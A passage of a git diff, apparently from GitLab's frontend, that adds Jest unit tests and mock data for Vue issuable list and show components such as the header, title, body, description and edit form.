+ ${'opened'} | ${'opened'} | ${true}
+ ${'opened'} | ${'closed'} | ${false}
+ `(
+ 'returns $returnValue when tab name is "$tabName" is current tab is "$currentTab"',
+ async ({ tabName, currentTab, returnValue }) => {
+ wrapper.setProps({
+ currentTab,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.isTabActive(tabName)).toBe(returnValue);
+ },
+ );
+ });
+ });
+
+ describe('template', () => {
+ it('renders gl-tab for each tab within `tabs` array', () => {
+ const tabsEl = findAllGlTabs();
+
+ expect(tabsEl.exists()).toBe(true);
+ expect(tabsEl).toHaveLength(mockIssuableListProps.tabs.length);
+ });
+
+ it('renders gl-badge component within a tab', () => {
+ const badges = findAllGlBadges();
+
+ // Does not render `All` badge since it has an undefined count
+ expect(badges).toHaveLength(2);
+ expect(badges.at(0).text()).toBe(`${mockIssuableListProps.tabCounts.opened}`);
+ expect(badges.at(1).text()).toBe(`${mockIssuableListProps.tabCounts.closed}`);
+ });
+
+ it('renders contents for slot "nav-actions"', () => {
+ const buttonEl = wrapper.find('button.js-new-issuable');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('New issuable');
+ });
+ });
+
+ describe('events', () => {
+ it('gl-tab component emits `click` event on `click` event', () => {
+ const tabEl = findAllGlTabs().at(0);
+
+ tabEl.vm.$emit('click', 'opened');
+
+ expect(wrapper.emitted('click')).toBeTruthy();
+ expect(wrapper.emitted('click')[0]).toEqual(['opened']);
+ });
+ });
+});
diff --git a/spec/frontend/issuable_list/mock_data.js b/spec/frontend/vue_shared/issuable/list/mock_data.js
index e2fa99f7cc9..e2fa99f7cc9 100644
--- a/spec/frontend/issuable_list/mock_data.js
+++ b/spec/frontend/vue_shared/issuable/list/mock_data.js
diff --git a/spec/frontend/vue_shared/issuable/show/components/issuable_body_spec.js b/spec/frontend/vue_shared/issuable/show/components/issuable_body_spec.js
new file mode 100644
index 00000000000..41bacf18a68
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/show/components/issuable_body_spec.js
@@ -0,0 +1,236 @@
+import { shallowMount } from '@vue/test-utils';
+import { useFakeDate } from 'helpers/fake_date';
+
+import IssuableBody from '~/vue_shared/issuable/show/components/issuable_body.vue';
+
+import IssuableDescription from '~/vue_shared/issuable/show/components/issuable_description.vue';
+import IssuableEditForm from '~/vue_shared/issuable/show/components/issuable_edit_form.vue';
+import IssuableTitle from '~/vue_shared/issuable/show/components/issuable_title.vue';
+import TaskList from '~/task_list';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+
+import { mockIssuableShowProps, mockIssuable } from '../mock_data';
+
+jest.mock('~/autosave');
+jest.mock('~/flash');
+
+const issuableBodyProps = {
+ ...mockIssuableShowProps,
+ issuable: mockIssuable,
+};
+
+const createComponent = (propsData = issuableBodyProps) =>
+ shallowMount(IssuableBody, {
+ propsData,
+ stubs: {
+ IssuableTitle,
+ IssuableDescription,
+ IssuableEditForm,
+ TimeAgoTooltip,
+ },
+ slots: {
+ 'status-badge': 'Open',
+ 'edit-form-actions': `
+ <button class="js-save">Save changes</button>
+ <button class="js-cancel">Cancel</button>
+ `,
+ },
+ });
+
+describe('IssuableBody', () => {
+ // Some assertions expect a date later than our default
+ useFakeDate(2020, 11, 11);
+
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ describe('isUpdated', () => {
+ it.each`
+ updatedAt | returnValue
+ ${mockIssuable.updatedAt} | ${true}
+ ${null} | ${false}
+ ${''} | ${false}
+ `(
+ 'returns $returnValue when value of `updateAt` prop is `$updatedAt`',
+ async ({ updatedAt, returnValue }) => {
+ wrapper.setProps({
+ issuable: {
+ ...mockIssuable,
+ updatedAt,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.isUpdated).toBe(returnValue);
+ },
+ );
+ });
+
+ describe('updatedBy', () => {
+ it('returns value of `issuable.updatedBy`', () => {
+ expect(wrapper.vm.updatedBy).toBe(mockIssuable.updatedBy);
+ });
+ });
+ });
+
+ describe('watchers', () => {
+ describe('editFormVisible', () => {
+ it('calls initTaskList in nextTick', async () => {
+ jest.spyOn(wrapper.vm, 'initTaskList');
+ wrapper.setProps({
+ editFormVisible: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ wrapper.setProps({
+ editFormVisible: false,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.initTaskList).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('mounted', () => {
+ it('initializes TaskList instance when enabledEdit and enableTaskList props are true', () => {
+ expect(wrapper.vm.taskList instanceof TaskList).toBe(true);
+ expect(wrapper.vm.taskList).toMatchObject({
+ dataType: 'issue',
+ fieldName: 'description',
+ lockVersion: issuableBodyProps.taskListLockVersion,
+ selector: '.js-detail-page-description',
+ onSuccess: expect.any(Function),
+ onError: expect.any(Function),
+ });
+ });
+
+ it('does not initialize TaskList instance when either enabledEdit or enableTaskList prop is false', () => {
+ const wrapperNoTaskList = createComponent({
+ ...issuableBodyProps,
+ enableTaskList: false,
+ });
+
+ expect(wrapperNoTaskList.vm.taskList).not.toBeDefined();
+
+ wrapperNoTaskList.destroy();
+ });
+ });
+
+ describe('methods', () => {
+ describe('handleTaskListUpdateSuccess', () => {
+ it('emits `task-list-update-success` event on component', () => {
+ const updatedIssuable = {
+ foo: 'bar',
+ };
+
+ wrapper.vm.handleTaskListUpdateSuccess(updatedIssuable);
+
+ expect(wrapper.emitted('task-list-update-success')).toBeTruthy();
+ expect(wrapper.emitted('task-list-update-success')[0]).toEqual([updatedIssuable]);
+ });
+ });
+
+ describe('handleTaskListUpdateFailure', () => {
+ it('emits `task-list-update-failure` event on component', () => {
+ wrapper.vm.handleTaskListUpdateFailure();
+
+ expect(wrapper.emitted('task-list-update-failure')).toBeTruthy();
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders issuable-title component', () => {
+ const titleEl = wrapper.find(IssuableTitle);
+
+ expect(titleEl.exists()).toBe(true);
+ expect(titleEl.props()).toMatchObject({
+ issuable: issuableBodyProps.issuable,
+ statusBadgeClass: issuableBodyProps.statusBadgeClass,
+ statusIcon: issuableBodyProps.statusIcon,
+ enableEdit: issuableBodyProps.enableEdit,
+ });
+ });
+
+ it('renders issuable-description component', () => {
+ const descriptionEl = wrapper.find(IssuableDescription);
+
+ expect(descriptionEl.exists()).toBe(true);
+ expect(descriptionEl.props('issuable')).toEqual(issuableBodyProps.issuable);
+ });
+
+ it('renders issuable edit info', () => {
+ const editedEl = wrapper.find('small');
+
+ expect(editedEl.text()).toMatchInterpolatedText('Edited 3 months ago by Administrator');
+ });
+
+ it('renders issuable-edit-form when `editFormVisible` prop is true', async () => {
+ wrapper.setProps({
+ editFormVisible: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const editFormEl = wrapper.find(IssuableEditForm);
+ expect(editFormEl.exists()).toBe(true);
+ expect(editFormEl.props()).toMatchObject({
+ issuable: issuableBodyProps.issuable,
+ enableAutocomplete: issuableBodyProps.enableAutocomplete,
+ descriptionPreviewPath: issuableBodyProps.descriptionPreviewPath,
+ descriptionHelpPath: issuableBodyProps.descriptionHelpPath,
+ });
+ expect(editFormEl.find('button.js-save').exists()).toBe(true);
+ expect(editFormEl.find('button.js-cancel').exists()).toBe(true);
+ });
+
+ describe('events', () => {
+ it('component emits `edit-issuable` event bubbled via issuable-title', () => {
+ const issuableTitle = wrapper.find(IssuableTitle);
+
+ issuableTitle.vm.$emit('edit-issuable');
+
+ expect(wrapper.emitted('edit-issuable')).toBeTruthy();
+ });
+
+ it.each(['keydown-title', 'keydown-description'])(
+ 'component emits `%s` event with event object and issuableMeta params via issuable-edit-form',
+ async (eventName) => {
+ const eventObj = {
+ preventDefault: jest.fn(),
+ stopPropagation: jest.fn(),
+ };
+ const issuableMeta = {
+ issuableTitle: 'foo',
+ issuableDescription: 'foobar',
+ };
+
+ wrapper.setProps({
+ editFormVisible: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const issuableEditForm = wrapper.find(IssuableEditForm);
+
+ issuableEditForm.vm.$emit(eventName, eventObj, issuableMeta);
+
+ expect(wrapper.emitted(eventName)).toBeTruthy();
+ expect(wrapper.emitted(eventName)[0]).toMatchObject([eventObj, issuableMeta]);
+ },
+ );
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/show/components/issuable_description_spec.js b/spec/frontend/vue_shared/issuable/show/components/issuable_description_spec.js
new file mode 100644
index 00000000000..f2211e5b2bb
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/show/components/issuable_description_spec.js
@@ -0,0 +1,69 @@
+import { shallowMount } from '@vue/test-utils';
+import $ from 'jquery';
+
+import IssuableDescription from '~/vue_shared/issuable/show/components/issuable_description.vue';
+
+import { mockIssuable } from '../mock_data';
+
+const createComponent = ({
+ issuable = mockIssuable,
+ enableTaskList = true,
+ canEdit = true,
+ taskListUpdatePath = `${mockIssuable.webUrl}.json`,
+} = {}) =>
+ shallowMount(IssuableDescription, {
+ propsData: { issuable, enableTaskList, canEdit, taskListUpdatePath },
+ });
+
+describe('IssuableDescription', () => {
+ let renderGFMSpy;
+ let wrapper;
+
+ beforeEach(() => {
+ renderGFMSpy = jest.spyOn($.fn, 'renderGFM');
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('mounted', () => {
+ it('calls `renderGFM`', () => {
+ expect(renderGFMSpy).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('methods', () => {
+ describe('renderGFM', () => {
+ it('calls `renderGFM` on container element', () => {
+ wrapper.vm.renderGFM();
+
+ expect(renderGFMSpy).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('templates', () => {
+ it('renders container element with class `js-task-list-container` when canEdit and enableTaskList props are true', () => {
+ expect(wrapper.classes()).toContain('js-task-list-container');
+ });
+
+ it('renders container element without class `js-task-list-container` when canEdit and enableTaskList props are true', () => {
+ const wrapperNoTaskList = createComponent({
+ enableTaskList: false,
+ });
+
+ expect(wrapperNoTaskList.classes()).not.toContain('js-task-list-container');
+
+ wrapperNoTaskList.destroy();
+ });
+
+ it('renders hidden textarea element when issuable.description is present and enableTaskList prop is true', () => {
+ const textareaEl = wrapper.find('textarea.gl-display-none.js-task-list-field');
+
+ expect(textareaEl.exists()).toBe(true);
+ expect(textareaEl.attributes('data-update-url')).toBe(`${mockIssuable.webUrl}.json`);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js b/spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js
new file mode 100644
index 00000000000..051ffd27af4
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/show/components/issuable_edit_form_spec.js
@@ -0,0 +1,193 @@
+import { GlFormInput } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+
+import IssuableEditForm from '~/vue_shared/issuable/show/components/issuable_edit_form.vue';
+import IssuableEventHub from '~/vue_shared/issuable/show/event_hub';
+import MarkdownField from '~/vue_shared/components/markdown/field.vue';
+
+import { mockIssuableShowProps, mockIssuable } from '../mock_data';
+
+const issuableEditFormProps = {
+ issuable: mockIssuable,
+ ...mockIssuableShowProps,
+};
+
+const createComponent = ({ propsData = issuableEditFormProps } = {}) =>
+ shallowMount(IssuableEditForm, {
+ propsData,
+ stubs: {
+ MarkdownField,
+ },
+ slots: {
+ 'edit-form-actions': `
+ <button class="js-save">Save changes</button>
+ <button class="js-cancel">Cancel</button>
+ `,
+ },
+ });
+
+describe('IssuableEditForm', () => {
+ let wrapper;
+ const assertEvent = (eventSpy) => {
+ expect(eventSpy).toHaveBeenNthCalledWith(1, 'update.issuable', expect.any(Function));
+ expect(eventSpy).toHaveBeenNthCalledWith(2, 'close.form', expect.any(Function));
+ };
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('watch', () => {
+ describe('issuable', () => {
+ it('sets title and description to `issuable.title` and `issuable.description` when those values are available', async () => {
+ wrapper.setProps({
+ issuable: {
+ ...issuableEditFormProps.issuable,
+ title: 'Foo',
+ description: 'Foobar',
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.title).toBe('Foo');
+ expect(wrapper.vm.description).toBe('Foobar');
+ });
+
+ it('sets title and description to empty string when `issuable.title` and `issuable.description` is unavailable', async () => {
+ wrapper.setProps({
+ issuable: {
+ ...issuableEditFormProps.issuable,
+ title: null,
+ description: null,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.title).toBe('');
+ expect(wrapper.vm.description).toBe('');
+ });
+ });
+ });
+
+ describe('created', () => {
+ it('binds `update.issuable` and `close.form` event listeners', () => {
+ const eventOnSpy = jest.spyOn(IssuableEventHub, '$on');
+ const wrapperTemp = createComponent();
+
+ assertEvent(eventOnSpy);
+
+ wrapperTemp.destroy();
+ });
+ });
+
+ describe('beforeDestroy', () => {
+ it('unbinds `update.issuable` and `close.form` event listeners', () => {
+ const wrapperTemp = createComponent();
+ const eventOffSpy = jest.spyOn(IssuableEventHub, '$off');
+
+ wrapperTemp.destroy();
+
+ assertEvent(eventOffSpy);
+ });
+ });
+
+ describe('methods', () => {
+ describe('initAutosave', () => {
+ it('initializes `autosaveTitle` and `autosaveDescription` props', () => {
+ expect(wrapper.vm.autosaveTitle).toBeDefined();
+ expect(wrapper.vm.autosaveDescription).toBeDefined();
+ });
+ });
+
+ describe('resetAutosave', () => {
+ it('calls `reset` on `autosaveTitle` and `autosaveDescription` props', () => {
+ jest.spyOn(wrapper.vm.autosaveTitle, 'reset').mockImplementation(jest.fn);
+ jest.spyOn(wrapper.vm.autosaveDescription, 'reset').mockImplementation(jest.fn);
+
+ wrapper.vm.resetAutosave();
+
+ expect(wrapper.vm.autosaveTitle.reset).toHaveBeenCalled();
+ expect(wrapper.vm.autosaveDescription.reset).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders title input field', () => {
+ const titleInputEl = wrapper.find('[data-testid="title"]');
+
+ expect(titleInputEl.exists()).toBe(true);
+ expect(titleInputEl.find(GlFormInput).attributes()).toMatchObject({
+ 'aria-label': 'Title',
+ placeholder: 'Title',
+ });
+ });
+
+ it('renders description textarea field', () => {
+ const descriptionEl = wrapper.find('[data-testid="description"]');
+
+ expect(descriptionEl.exists()).toBe(true);
+ expect(descriptionEl.find(MarkdownField).props()).toMatchObject({
+ markdownPreviewPath: issuableEditFormProps.descriptionPreviewPath,
+ markdownDocsPath: issuableEditFormProps.descriptionHelpPath,
+ enableAutocomplete: issuableEditFormProps.enableAutocomplete,
+ textareaValue: mockIssuable.description,
+ });
+ expect(descriptionEl.find('textarea').attributes()).toMatchObject({
+ 'data-supports-quick-actions': 'true',
+ 'aria-label': 'Description',
+ placeholder: 'Write a comment or drag your files here…',
+ });
+ });
+
+ it('renders form actions', () => {
+ const actionsEl = wrapper.find('[data-testid="actions"]');
+
+ expect(actionsEl.find('button.js-save').exists()).toBe(true);
+ expect(actionsEl.find('button.js-cancel').exists()).toBe(true);
+ });
+
+ describe('events', () => {
+ const eventObj = {
+ preventDefault: jest.fn(),
+ stopPropagation: jest.fn(),
+ };
+
+ it('component emits `keydown-title` event with event object and issuableMeta params via gl-form-input', async () => {
+ const titleInputEl = wrapper.find(GlFormInput);
+
+ titleInputEl.vm.$emit('keydown', eventObj, 'title');
+
+ expect(wrapper.emitted('keydown-title')).toBeTruthy();
+ expect(wrapper.emitted('keydown-title')[0]).toMatchObject([
+ eventObj,
+ {
+ issuableTitle: wrapper.vm.title,
+ issuableDescription: wrapper.vm.description,
+ },
+ ]);
+ });
+
+ it('component emits `keydown-description` event with event object and issuableMeta params via textarea', async () => {
+ const descriptionInputEl = wrapper.find('[data-testid="description"] textarea');
+
+ descriptionInputEl.trigger('keydown', eventObj, 'description');
+
+ expect(wrapper.emitted('keydown-description')).toBeTruthy();
+ expect(wrapper.emitted('keydown-description')[0]).toMatchObject([
+ eventObj,
+ {
+ issuableTitle: wrapper.vm.title,
+ issuableDescription: wrapper.vm.description,
+ },
+ ]);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/show/components/issuable_header_spec.js b/spec/frontend/vue_shared/issuable/show/components/issuable_header_spec.js
new file mode 100644
index 00000000000..41735923957
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/show/components/issuable_header_spec.js
@@ -0,0 +1,182 @@
+import { GlIcon, GlAvatarLabeled } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+
+import IssuableHeader from '~/vue_shared/issuable/show/components/issuable_header.vue';
+
+import { mockIssuableShowProps, mockIssuable } from '../mock_data';
+
+const issuableHeaderProps = {
+ ...mockIssuable,
+ ...mockIssuableShowProps,
+};
+
+const createComponent = (propsData = issuableHeaderProps, { stubs } = {}) =>
+ extendedWrapper(
+ shallowMount(IssuableHeader, {
+ propsData,
+ slots: {
+ 'status-badge': 'Open',
+ 'header-actions': `
+ <button class="js-close">Close issuable</button>
+ <a class="js-new" href="/gitlab-org/gitlab-shell/-/issues/new">New issuable</a>
+ `,
+ },
+ stubs,
+ }),
+ );
+
+describe('IssuableHeader', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ describe('authorId', () => {
+ it('returns numeric ID from GraphQL ID of `author` prop', () => {
+ expect(wrapper.vm.authorId).toBe(1);
+ });
+ });
+ });
+
+ describe('handleRightSidebarToggleClick', () => {
+ beforeEach(() => {
+ setFixtures('<button class="js-toggle-right-sidebar-button">Collapse sidebar</button>');
+ });
+
+ it('dispatches `click` event on sidebar toggle button', () => {
+ wrapper.vm.toggleSidebarButtonEl = document.querySelector('.js-toggle-right-sidebar-button');
+ jest.spyOn(wrapper.vm.toggleSidebarButtonEl, 'dispatchEvent').mockImplementation(jest.fn);
+
+ wrapper.vm.handleRightSidebarToggleClick();
+
+ expect(wrapper.vm.toggleSidebarButtonEl.dispatchEvent).toHaveBeenCalledWith(
+ expect.objectContaining({
+ type: 'click',
+ }),
+ );
+ });
+ });
+
+ describe('template', () => {
+ it('renders issuable status icon and text', () => {
+ const statusBoxEl = wrapper.findByTestId('status');
+
+ expect(statusBoxEl.exists()).toBe(true);
+ expect(statusBoxEl.find(GlIcon).props('name')).toBe(mockIssuableShowProps.statusIcon);
+ expect(statusBoxEl.text()).toContain('Open');
+ });
+
+ it('renders blocked icon when issuable is blocked', async () => {
+ wrapper.setProps({
+ blocked: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const blockedEl = wrapper.findByTestId('blocked');
+
+ expect(blockedEl.exists()).toBe(true);
+ expect(blockedEl.find(GlIcon).props('name')).toBe('lock');
+ });
+
+ it('renders confidential icon when issuable is confidential', async () => {
+ wrapper.setProps({
+ confidential: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const confidentialEl = wrapper.findByTestId('confidential');
+
+ expect(confidentialEl.exists()).toBe(true);
+ expect(confidentialEl.find(GlIcon).props('name')).toBe('eye-slash');
+ });
+
+ it('renders issuable author avatar', () => {
+ const { username, name, webUrl, avatarUrl } = mockIssuable.author;
+ const avatarElAttrs = {
+ 'data-user-id': '1',
+ 'data-username': username,
+ 'data-name': name,
+ href: webUrl,
+ target: '_blank',
+ };
+ const avatarEl = wrapper.findByTestId('avatar');
+ expect(avatarEl.exists()).toBe(true);
+ expect(avatarEl.attributes()).toMatchObject(avatarElAttrs);
+ expect(avatarEl.find(GlAvatarLabeled).attributes()).toMatchObject({
+ size: '24',
+ src: avatarUrl,
+ label: name,
+ });
+ expect(avatarEl.find(GlAvatarLabeled).find(GlIcon).exists()).toBe(false);
+ });
+
+ it('renders tast status text when `taskCompletionStatus` prop is defined', () => {
+ let taskStatusEl = wrapper.findByTestId('task-status');
+
+ expect(taskStatusEl.exists()).toBe(true);
+ expect(taskStatusEl.text()).toContain('0 of 5 tasks completed');
+
+ const wrapperSingleTask = createComponent({
+ ...issuableHeaderProps,
+ taskCompletionStatus: {
+ completedCount: 0,
+ count: 1,
+ },
+ });
+
+ taskStatusEl = wrapperSingleTask.findByTestId('task-status');
+
+ expect(taskStatusEl.text()).toContain('0 of 1 task completed');
+
+ wrapperSingleTask.destroy();
+ });
+
+ it('renders sidebar toggle button', () => {
+ const toggleButtonEl = wrapper.findByTestId('sidebar-toggle');
+
+ expect(toggleButtonEl.exists()).toBe(true);
+ expect(toggleButtonEl.props('icon')).toBe('chevron-double-lg-left');
+ });
+
+ it('renders header actions', () => {
+ const actionsEl = wrapper.findByTestId('header-actions');
+
+ expect(actionsEl.find('button.js-close').exists()).toBe(true);
+ expect(actionsEl.find('a.js-new').exists()).toBe(true);
+ });
+
+ describe('when author exists outside of GitLab', () => {
+ it("renders 'external-link' icon in avatar label", () => {
+ wrapper = createComponent(
+ {
+ ...issuableHeaderProps,
+ author: {
+ ...issuableHeaderProps.author,
+ webUrl: 'https://jira.com/test-user/author.jpg',
+ },
+ },
+ {
+ stubs: {
+ GlAvatarLabeled,
+ },
+ },
+ );
+
+ const avatarEl = wrapper.findComponent(GlAvatarLabeled);
+ const icon = avatarEl.find(GlIcon);
+
+ expect(icon.exists()).toBe(true);
+ expect(icon.props('name')).toBe('external-link');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/show/components/issuable_show_root_spec.js b/spec/frontend/vue_shared/issuable/show/components/issuable_show_root_spec.js
new file mode 100644
index 00000000000..d1eb1366225
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/show/components/issuable_show_root_spec.js
@@ -0,0 +1,158 @@
+import { shallowMount } from '@vue/test-utils';
+
+import IssuableBody from '~/vue_shared/issuable/show/components/issuable_body.vue';
+import IssuableHeader from '~/vue_shared/issuable/show/components/issuable_header.vue';
+import IssuableShowRoot from '~/vue_shared/issuable/show/components/issuable_show_root.vue';
+
+import IssuableSidebar from '~/vue_shared/issuable/sidebar/components/issuable_sidebar_root.vue';
+
+import { mockIssuableShowProps, mockIssuable } from '../mock_data';
+
+const createComponent = (propsData = mockIssuableShowProps) =>
+ shallowMount(IssuableShowRoot, {
+ propsData,
+ stubs: {
+ IssuableHeader,
+ IssuableBody,
+ IssuableSidebar,
+ },
+ slots: {
+ 'status-badge': 'Open',
+ 'header-actions': `
+ <button class="js-close">Close issuable</button>
+ <a class="js-new" href="/gitlab-org/gitlab-shell/-/issues/new">New issuable</a>
+ `,
+ 'edit-form-actions': `
+ <button class="js-save">Save changes</button>
+ <button class="js-cancel">Cancel</button>
+ `,
+ 'right-sidebar-items': `
+ <div class="js-todo">
+ To Do <button class="js-add-todo">Add a To Do</button>
+ </div>
+ `,
+ },
+ });
+
+describe('IssuableShowRoot', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('template', () => {
+ const {
+ statusBadgeClass,
+ statusIcon,
+ enableEdit,
+ enableAutocomplete,
+ editFormVisible,
+ descriptionPreviewPath,
+ descriptionHelpPath,
+ taskCompletionStatus,
+ } = mockIssuableShowProps;
+ const { blocked, confidential, createdAt, author } = mockIssuable;
+
+ it('renders component container element with class `issuable-show-container`', () => {
+ expect(wrapper.classes()).toContain('issuable-show-container');
+ });
+
+ it('renders issuable-header component', () => {
+ const issuableHeader = wrapper.find(IssuableHeader);
+
+ expect(issuableHeader.exists()).toBe(true);
+ expect(issuableHeader.props()).toMatchObject({
+ statusBadgeClass,
+ statusIcon,
+ blocked,
+ confidential,
+ createdAt,
+ author,
+ taskCompletionStatus,
+ });
+ expect(issuableHeader.find('.issuable-status-box').text()).toContain('Open');
+ expect(issuableHeader.find('.detail-page-header-actions button.js-close').exists()).toBe(
+ true,
+ );
+ expect(issuableHeader.find('.detail-page-header-actions a.js-new').exists()).toBe(true);
+ });
+
+ it('renders issuable-body component', () => {
+ const issuableBody = wrapper.find(IssuableBody);
+
+ expect(issuableBody.exists()).toBe(true);
+ expect(issuableBody.props()).toMatchObject({
+ issuable: mockIssuable,
+ statusBadgeClass,
+ statusIcon,
+ enableEdit,
+ enableAutocomplete,
+ editFormVisible,
+ descriptionPreviewPath,
+ descriptionHelpPath,
+ });
+ });
+
+ it('renders issuable-sidebar component', () => {
+ const issuableSidebar = wrapper.find(IssuableSidebar);
+
+ expect(issuableSidebar.exists()).toBe(true);
+ });
+
+ describe('events', () => {
+ it('component emits `edit-issuable` event bubbled via issuable-body', () => {
+ const issuableBody = wrapper.find(IssuableBody);
+
+ issuableBody.vm.$emit('edit-issuable');
+
+ expect(wrapper.emitted('edit-issuable')).toBeTruthy();
+ });
+
+ it('component emits `task-list-update-success` event bubbled via issuable-body', () => {
+ const issuableBody = wrapper.find(IssuableBody);
+ const eventParam = {
+ foo: 'bar',
+ };
+
+ issuableBody.vm.$emit('task-list-update-success', eventParam);
+
+ expect(wrapper.emitted('task-list-update-success')).toBeTruthy();
+ expect(wrapper.emitted('task-list-update-success')[0]).toEqual([eventParam]);
+ });
+
+ it('component emits `task-list-update-failure` event bubbled via issuable-body', () => {
+ const issuableBody = wrapper.find(IssuableBody);
+
+ issuableBody.vm.$emit('task-list-update-failure');
+
+ expect(wrapper.emitted('task-list-update-failure')).toBeTruthy();
+ });
+
+ it.each(['keydown-title', 'keydown-description'])(
+ 'component emits `%s` event with event object and issuableMeta params via issuable-body',
+ (eventName) => {
+ const eventObj = {
+ preventDefault: jest.fn(),
+ stopPropagation: jest.fn(),
+ };
+ const issuableMeta = {
+ issuableTitle: 'foo',
+ issuableDescription: 'foobar',
+ };
+
+ const issuableBody = wrapper.find(IssuableBody);
+
+ issuableBody.vm.$emit(eventName, eventObj, issuableMeta);
+
+ expect(wrapper.emitted(eventName)).toBeTruthy();
+ expect(wrapper.emitted(eventName)[0]).toMatchObject([eventObj, issuableMeta]);
+ },
+ );
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/show/components/issuable_title_spec.js b/spec/frontend/vue_shared/issuable/show/components/issuable_title_spec.js
new file mode 100644
index 00000000000..1fcf37a0477
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/show/components/issuable_title_spec.js
@@ -0,0 +1,100 @@
+import { GlIcon, GlButton, GlIntersectionObserver } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+
+import IssuableTitle from '~/vue_shared/issuable/show/components/issuable_title.vue';
+
+import { mockIssuableShowProps, mockIssuable } from '../mock_data';
+
+const issuableTitleProps = {
+ issuable: mockIssuable,
+ ...mockIssuableShowProps,
+};
+
+const createComponent = (propsData = issuableTitleProps) =>
+ shallowMount(IssuableTitle, {
+ propsData,
+ stubs: {
+ transition: true,
+ },
+ slots: {
+ 'status-badge': 'Open',
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+
+describe('IssuableTitle', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('methods', () => {
+ describe('handleTitleAppear', () => {
+ it('sets value of `stickyTitleVisible` prop to false', () => {
+ wrapper.find(GlIntersectionObserver).vm.$emit('appear');
+
+ expect(wrapper.vm.stickyTitleVisible).toBe(false);
+ });
+ });
+
+ describe('handleTitleDisappear', () => {
+ it('sets value of `stickyTitleVisible` prop to true', () => {
+ wrapper.find(GlIntersectionObserver).vm.$emit('disappear');
+
+ expect(wrapper.vm.stickyTitleVisible).toBe(true);
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders issuable title', async () => {
+ const wrapperWithTitle = createComponent({
+ ...mockIssuableShowProps,
+ issuable: {
+ ...mockIssuable,
+ titleHtml: '<b>Sample</b> title',
+ },
+ });
+
+ await wrapperWithTitle.vm.$nextTick();
+ const titleEl = wrapperWithTitle.find('h2');
+
+ expect(titleEl.exists()).toBe(true);
+ expect(titleEl.html()).toBe('<h2 dir="auto" class="title qa-title"><b>Sample</b> title</h2>');
+
+ wrapperWithTitle.destroy();
+ });
+
+ it('renders edit button', () => {
+ const editButtonEl = wrapper.find(GlButton);
+ const tooltip = getBinding(editButtonEl.element, 'gl-tooltip');
+
+ expect(editButtonEl.exists()).toBe(true);
+ expect(editButtonEl.props('icon')).toBe('pencil');
+ expect(editButtonEl.attributes('title')).toBe('Edit title and description');
+ expect(tooltip).toBeDefined();
+ });
+
+ it('renders sticky header when `stickyTitleVisible` prop is true', async () => {
+ wrapper.setData({
+ stickyTitleVisible: true,
+ });
+
+ await wrapper.vm.$nextTick();
+ const stickyHeaderEl = wrapper.find('[data-testid="header"]');
+
+ expect(stickyHeaderEl.exists()).toBe(true);
+ expect(stickyHeaderEl.find(GlIcon).props('name')).toBe(issuableTitleProps.statusIcon);
+ expect(stickyHeaderEl.text()).toContain('Open');
+ expect(stickyHeaderEl.text()).toContain(issuableTitleProps.issuable.title);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/show/mock_data.js b/spec/frontend/vue_shared/issuable/show/mock_data.js
new file mode 100644
index 00000000000..f5f3ed58655
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/show/mock_data.js
@@ -0,0 +1,45 @@
+import { mockIssuable as issuable } from 'jest/vue_shared/issuable/list/mock_data';
+
+export const mockIssuable = {
+ ...issuable,
+ id: 'gid://gitlab/Issue/30',
+ title: 'Sample title',
